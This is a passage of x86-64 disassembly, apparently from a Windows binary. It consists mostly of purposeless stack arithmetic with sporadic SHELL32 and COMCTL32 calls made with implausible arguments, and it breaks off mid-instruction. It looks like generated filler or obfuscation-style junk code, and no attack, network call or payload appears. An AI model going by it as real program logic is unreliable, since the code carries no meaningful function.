mov rax, qword [rsp + 0xcfb0]
mov rcx, qword [rsp + 0xd0d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d94], eax
mov rax, qword [rsp + 0xd5c8]
mov rcx, qword [rsp + 0xd0d8]
mov qword [rsp + 0xd7f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd7f8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc338], rax
movsx eax, word [rsp + 0x20c4]
movsx ecx, word [rsp + 0x2b40]
sar eax, cl
mov word [0x14019d080], ax
lea rax, [rsp + 0x2b90]
mov qword [rsp + 0xd800], rax
mov eax, dword [0x14019efa8]
imul eax, dword [rsp + 0x6450]
mov dword [rsp + 0x6d78], eax
movzx eax, byte [rsp + 0x283]
mov byte [rsp + 0x511], al
mov rax, qword [rsp + 0xd6d0]
mov rcx, qword [rsp + 0xd680]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b60], rax
movsx eax, byte [rsp + 0x32a]
movsx ecx, byte [rsp + 0x12c]
sub eax, ecx
mov byte [rsp + 0x505], al
mov rax, qword [rsp + 0xd788]
mov rcx, qword [rsp + 0xc8e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xac30], rax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xd0b0]
movzx eax, word [rax]
mov word [rsp + 0x2b94], ax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
mov word [0x14019f128], ax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd6a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd2a0]
mov qword [rcx], rax
movzx eax, word [str.L_nbT]
movzx ecx, word [rsp + 0xdb0]
or eax, ecx
mov word [rsp + 0x2a60], ax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2120], ax
mov rax, qword [rsp + 0x9428]
movzx ecx, al
mov rax, qword [rsp + 0xd638]
sar rax, cl
mov qword [rsp + 0xbd38], rax
mov eax, dword [rsp + 0x6db8]
mov dword [rsp + 0x6dc4], eax
mov rax, qword [rsp + 0xd390]
mov rcx, qword [rsp + 0xcfd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xac98], rax
mov rax, qword [rsp + 0xd218]
movzx eax, byte [rax]
mov byte [rsp + 0x512], al
movzx eax, word [rsp + 0x1cf4]
movzx ecx, word [rsp + 0x2b1c]
xor eax, ecx
mov word [rsp + 0x1240], ax
mov rax, qword [rsp + 0xd6f8]
mov rcx, qword [rsp + 0xcb10]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d070], rax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x504], al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x60c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x633c], eax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
shl eax, cl
mov word [rsp + 0x1b04], ax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
mov word [rsp + 0x2b98], ax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6cf4]
mov rcx, qword [rsp + 0xcfb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd4c8]
mov rcx, qword [0x14019f098]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd340], rax
movsx eax, byte [rsp + 0x4e6]
movsx ecx, byte [rsp + 0x4ed]
add eax, ecx
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ac0]
add eax, ecx
mov word [rsp + 0x2b78], ax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd700]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d0ac], ax
mov rax, qword [rsp + 0xacf8]
mov qword [rsp + 0xd808], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [0x14019f050]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd758], rax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcfe8], rax
movzx eax, word [rsp + 0x2a50]
mov word [rsp + 0x2b9c], ax
mov r8d, 0xfe
mov rdx, qword [rsp + 0xce30]
mov rcx, qword [rsp + 0xce40]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov rax, qword [0x14019f120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1e8]
mov qword [rsp + 0xd810], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd810]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc330], rax
mov eax, dword [rsp + 0x6d48]
mov ecx, dword [rsp + 0x6bd0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6704], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
and eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4c0], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov dword [rsp + 0x6dc8], eax
movzx eax, word [rsp + 0x2a50]
mov word [0x14019f12c], ax
movzx eax, word [0x14019d084]
movzx ecx, word [rsp + 0x2a4c]
sub eax, ecx
mov word [rsp + 0x14a0], ax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2728], ax
mov rax, qword [rsp + 0xcac8]
movzx ecx, al
mov rax, qword [rsp + 0xc4f8]
shl rax, cl
mov qword [rsp + 0x9448], rax
mov edx, ILGetNext
lea rcx, [rsp + 0xd368]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
mov dword [rsp + 0x6dcc], eax
mov rax, qword [rsp + 0xaaf8]
mov rcx, qword [rsp + 0xd300]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd4c0], rax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x50e], al
lea rax, [rsp + 0x2b3c]
mov qword [rsp + 0xd818], rax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d98]
sub eax, ecx
mov rcx, qword [rsp + 0xd160]
mov word [rcx], ax
mov rax, qword [rsp + 0xd5a0]
mov rax, qword [rax]
mov rcx, qword [0x14019d050]
add rcx, rax
mov rax, rcx
mov qword [0x14019d040], rax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
mov word [rsp + 0x2ba0], ax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb110]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd6a0], rax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
mov rcx, qword [0x14019f110]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb110], rax
movsx eax, byte [rsp + 0x503]
movsx ecx, byte [rsp + 0x506]
add eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [0x14019f120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f68], rax
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x513], al
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d58]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd098]
mov dword [rcx], eax
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xd820], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd820]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6d6c], eax
mov rax, qword [rsp + 0xd7b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b04]
sar eax, cl
mov rcx, qword [0x14019f088]
mov word [rcx], ax
mov rax, qword [rsp + 0xd770]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b64]
or eax, ecx
mov word [rsp + 0xe3c], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20b0]
sub eax, ecx
mov word [rsp + 0x2aa0], ax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
mov word [rsp + 0x2ba4], ax
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd390]
shl rax, cl
mov rcx, qword [rsp + 0xd5d0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1fa]
movsx ecx, byte [rsp + 0xc5]
sar eax, cl
mov byte [rsp + 0x148], al
mov eax, dword [rsp + 0x6d94]
mov ecx, dword [rsp + 0x69f8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6dc4], eax
movsx eax, word [0x14019f024]
movsx ecx, word [rsp + 0x2b7c]
sub eax, ecx
mov word [rsp + 0x1b04], ax
lea rax, [rsp + 0x1240]
mov qword [rsp + 0xd828], rax
mov rax, qword [rsp + 0xc920]
mov qword [0x14019f130], rax
mov rax, qword [rsp + 0xd388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9448], rax
mov rax, qword [rsp + 0xd3a8]
mov qword [rsp + 0xd830], rax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd2a0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2b04]
movzx ecx, word [0x14019f0a0]
and eax, ecx
mov word [rsp + 0x1cf4], ax
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov dword [rsp + 0x6dd0], eax
movzx eax, byte [rsp + 0x283]
movzx ecx, byte [rsp + 0x501]
xor eax, ecx
mov byte [rsp + 0x4f6], al
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb050]
shl rax, cl
mov qword [rsp + 0x9538], rax
movsx eax, byte [rsp + 0x1fa]
movsx ecx, byte [rsp + 0x3e7]
or eax, ecx
mov byte [rsp + 0x4e1], al
mov eax, dword [0x14019d060]
movzx ecx, al
mov eax, dword [rsp + 0x69fc]
shr eax, cl
mov dword [0x14019d0b0], eax
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b10], ax
mov rax, qword [rsp + 0xd7d8]
movzx eax, word [rax]
mov word [rsp + 0x2ba8], ax
movzx eax, word [rsp + 0x2abc]
movzx ecx, word [0x14019d058]
add eax, ecx
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd780]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x91b0], rax
movsx eax, byte [rsp + 0x4f4]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x50c], al
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd2f8]
mov qword [rsp + 0xd838], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd838]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xd0d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd358]
mov qword [rsp + 0xd840], rax
mov rax, qword [rsp + 0xd5b0]
movsx eax, word [rax]
mov rcx, qword [0x14019efb8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ba8], ax
movzx eax, word [rsp + 0x2b8c]
movzx ecx, word [rsp + 0x28e0]
add eax, ecx
mov word [0x14019d0a8], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov qword [rsp + 0xd848], rax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26d0]
sub eax, ecx
mov word [rsp + 0x131c], ax
movzx eax, byte [rsp + 0x34f]
movzx ecx, byte [rsp + 0x4fa]
xor eax, ecx
mov byte [rsp + 0x36f], al
mov eax, dword [rsp + 0x6dd0]
mov ecx, dword [rsp + 0x6c94]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6db4], eax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x45e]
or eax, ecx
mov byte [rsp + 0x503], al
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
mov qword [rsp + 0xd850], rax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x654c]
shl eax, cl
mov dword [rsp + 0x6afc], eax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20c4]
sar eax, cl
mov word [rsp + 0x1390], ax
movzx eax, word [rsp + 0x2ac8]
movzx ecx, word [rsp + 0x1b08]
sub eax, ecx
mov word [0x14019f108], ax
mov rax, qword [0x14019f0d0]
mov rcx, qword [rsp + 0xd5a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcfe0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd680]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd288], rax
movzx eax, word [rsp + 0x2b68]
mov word [rsp + 0x2bac], ax
movzx eax, word [0x14019f07c]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdb0], ax
mov rax, qword [rsp + 0xd178]
mov qword [rsp + 0xd858], rax
mov rax, qword [rsp + 0xd118]
mov ecx, dword [rsp + 0x6d94]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d10], eax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4f8]
sar eax, cl
mov byte [rsp + 0x4ed], al
mov rax, qword [rsp + 0xd500]
movzx ecx, al
mov rax, qword [rsp + 0xd250]
shl rax, cl
mov qword [rsp + 0xb570], rax
mov rax, qword [rsp + 0xd470]
movzx eax, word [rax]
mov word [0x14019f138], ax
mov rax, qword [0x14019f018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25c0]
add eax, ecx
mov word [rsp + 0xba0], ax
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov dword [rsp + 0x6dd4], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
movzx ecx, byte [0x14019d010]
add eax, ecx
mov byte [rsp + 0x4e7], al
lea rax, [rsp + 0xccf8]
mov qword [rsp + 0xd860], rax
mov eax, dword [rsp + 0x6dc0]
mov ecx, dword [rsp + 0x5e94]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6db0], eax
mov rax, qword [rsp + 0xd608]
mov rcx, qword [0x14019eff0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbb70], rax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x461]
sar eax, cl
mov byte [rsp + 0x1e5], al
mov rax, qword [rsp + 0xd7b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x13d8], ax
lea rax, [0x14019f090]
mov qword [0x14019f140], rax
mov rax, qword [rsp + 0xd780]
mov rax, qword [rax]
mov qword [rsp + 0xd868], rax
movzx eax, word [rsp + 0x2b48]
movzx ecx, word [rsp + 0x2b14]
or eax, ecx
mov word [rsp + 0x2b98], ax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
mov rcx, qword [0x14019f008]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b50], ax
mov rax, qword [rsp + 0xbf08]
mov qword [rsp + 0xd870], rax
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e3]
sub eax, ecx
mov rcx, qword [rsp + 0xd0a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd058]
mov rcx, qword [rsp + 0xd198]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5e18], eax
lea rdx, [rsp + 0x221d0]
mov ecx, 0xc4
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x6dd8], eax
mov rax, qword [rsp + 0xd850]
mov rcx, qword [rsp + 0xbb70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xac98], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2ad0], ax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd768]
sar rax, cl
mov qword [0x14019efe8], rax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x514], al
mov rax, qword [rsp + 0xd098]
mov ecx, dword [rsp + 0x63c8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d78], eax
lea rax, [rsp + 0x1548]
mov qword [rsp + 0xd878], rax
movzx eax, word [rsp + 0x269c]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2ac4], ax
movsx eax, byte [rsp + 0x149]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov eax, dword [rsp + 0x6d0c]
mov ecx, dword [rsp + 0x5ab4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x632c], eax
mov rax, qword [rsp + 0xd608]
mov rcx, qword [rsp + 0xd5d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd568], rax
mov rax, qword [rsp + 0xd0b0]
movzx eax, word [rax]
mov word [rsp + 0x2bb0], ax
movzx eax, word [rsp + 0x2ac8]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019f0e4], ax
mov rax, qword [rsp + 0xd680]
movzx ecx, al
mov rax, qword [rsp + 0xd3c8]
shl rax, cl
mov qword [rsp + 0xd590], rax
mov rax, qword [rsp + 0xbf08]
mov rcx, qword [rsp + 0xd000]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9088], rax
mov rax, qword [rsp + 0xb570]
mov rcx, qword [rsp + 0xcf80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd738], rax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movzx eax, byte [rsp + 0x50e]
mov byte [rsp + 0x515], al
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xd468]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd0f0], rax
mov eax, dword [rsp + 0x6d10]
mov dword [rsp + 0x6ddc], eax
movzx eax, byte [rsp + 0x4f3]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov eax, dword [rsp + 0x5eb4]
mov ecx, dword [rsp + 0x6d78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x66ac], eax
movsx eax, word [rsp + 0x2a38]
movsx ecx, word [rsp + 0x2acc]
or eax, ecx
mov word [0x14019d0b4], ax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1534]
sar eax, cl
mov word [rsp + 0x24fc], ax
mov rax, qword [0x14019f060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2af0]
and eax, ecx
mov word [rsp + 0x2b90], ax
mov rax, qword [rsp + 0xd5a0]
mov rax, qword [rax]
mov qword [rsp + 0xd880], rax
mov rax, qword [rsp + 0xd198]
mov rcx, qword [rsp + 0xd3d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6d2c], eax
mov rax, qword [rsp + 0xce58]
movzx ecx, al
mov rax, qword [rsp + 0xd5e0]
shl rax, cl
mov qword [rsp + 0xd840], rax
movsx eax, byte [rsp + 0x461]
movsx ecx, byte [rsp + 0x6a]
sub eax, ecx
mov byte [rsp + 0x3c7], al
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd188]
mov word [rcx], ax
lea rax, [rsp + 0x2aac]
mov qword [rsp + 0xd888], rax
mov rax, qword [rsp + 0xd650]
mov rax, qword [rax]
mov qword [0x14019f148], rax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b58]
shl eax, cl
mov word [rsp + 0x2abc], ax
mov rax, qword [rsp + 0xbf08]
mov rcx, qword [rsp + 0xd380]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0b8], rax
lea rax, [rsp + 0xd250]
mov qword [rsp + 0xd890], rax
mov rax, qword [rsp + 0xd198]
mov rcx, qword [0x14019efc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd058]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd0a8]
movzx eax, byte [rax]
mov byte [rsp + 0x516], al
mov rax, qword [rsp + 0xd098]
mov rcx, qword [rsp + 0xd480]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5eac], eax
movzx eax, byte [rsp + 0x3fb]
mov byte [rsp + 0x517], al
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xd608]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd110]
mov qword [rcx], rax
movsx eax, word [rsp + 0x2bb0]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019f0cc], ax
mov rax, qword [rsp + 0xd750]
movsx eax, word [rax]
mov rcx, qword [0x14019f028]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a90], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf04], ax
movzx eax, word [rsp + 0xd98]
movzx ecx, word [rsp + 0x2b18]
and eax, ecx
mov rcx, qword [rsp + 0xd700]
mov word [rcx], ax
mov eax, dword [rsp + 0x6454]
mov dword [rsp + 0x6de0], eax
mov rax, qword [rsp + 0xd120]
mov rcx, qword [rsp + 0xc330]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb650], rax
movsx eax, byte [rsp + 0x500]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x32a], al
lea rax, [rsp + 0x2b9c]
mov qword [rsp + 0xd898], rax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20b0]
sar eax, cl
mov word [rsp + 0x2890], ax
lea rax, [rsp + 0xacf8]
mov qword [0x14019f150], rax
mov rax, qword [rsp + 0xa0e8]
movzx ecx, al
mov rax, qword [0x14019f0b8]
shl rax, cl
mov qword [rsp + 0x9a60], rax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xd3f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd638], rax
mov rax, qword [rsp + 0xd738]
mov rcx, qword [rsp + 0xd6c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb590], rax
lea rax, [rsp + 0x2b84]
mov qword [rsp + 0xd8a0], rax
lea rcx, [rsp + 0xd168]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x6d18], eax
mov rax, qword [rsp + 0xd480]
mov rcx, qword [rsp + 0xd098]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5f5c], eax
lea rcx, [rsp + 0x1e3f0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0xcf98], rax
movzx eax, byte [rsp + 0x517]
mov byte [rsp + 0x518], al
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2db], al
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
mov qword [rsp + 0xd8a8], rax
lea rax, [rsp + 0x6d6c]
mov qword [0x14019f158], rax
mov rax, qword [0x14019f008]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a34]
sar eax, cl
mov word [rsp + 0x2b30], ax
movsx eax, word [rsp + 0x2ab8]
movsx ecx, word [rsp + 0x2a64]
sub eax, ecx
mov rcx, qword [rsp + 0xd770]
mov word [rcx], ax
movzx eax, word [rsp + 0x2b98]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1138], ax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd790]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd650]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x4ab]
mov byte [rsp + 0x519], al
mov rax, qword [0x14019f098]
mov rcx, qword [rsp + 0xb650]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd300], rax
mov rax, qword [rsp + 0xd0d0]
mov ecx, dword [rsp + 0x6d14]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd118]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2a64]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d0c], ax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ad4]
shl eax, cl
mov word [0x14019f020], ax
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ff8], rax
lea rax, [rsp + 0x2a70]
mov qword [rsp + 0xd8b0], rax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f3]
add eax, ecx
mov byte [rsp + 0x42], al
mov eax, dword [rsp + 0x5eac]
mov ecx, dword [rsp + 0x6dd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d8c], eax
mov edx, 0xc7
mov rcx, qword [rsp + 0xd8b8]
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [rsp + 0x6dd8], eax
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
mov qword [rsp + 0xd8c0], rax
movsx eax, byte [rsp + 0x4ea]
movsx ecx, byte [rsp + 0x4ab]
or eax, ecx
mov byte [rsp + 0x4ec], al
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov dword [rsp + 0x6de4], eax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
mov rcx, qword [0x14019f028]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2ba8], ax
movzx eax, word [rsp + 0x2ba4]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019f03c], ax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd7e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb570], rax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd6a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbce8], rax
movsx eax, word [rsp + 0x2b94]
movsx ecx, word [rsp + 0x2a7c]
and eax, ecx
mov word [rsp + 0x2a90], ax
lea rax, [rsp + 0xcc8]
mov qword [rsp + 0xd8c8], rax
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov ecx, dword [0x14019f0c8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d0c], eax
mov rax, qword [rsp + 0xbb48]
mov qword [rsp + 0xd8d0], rax
movsx eax, byte [rsp + 0x2db]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6a], al
mov rcx, qword [rsp + 0xce10]
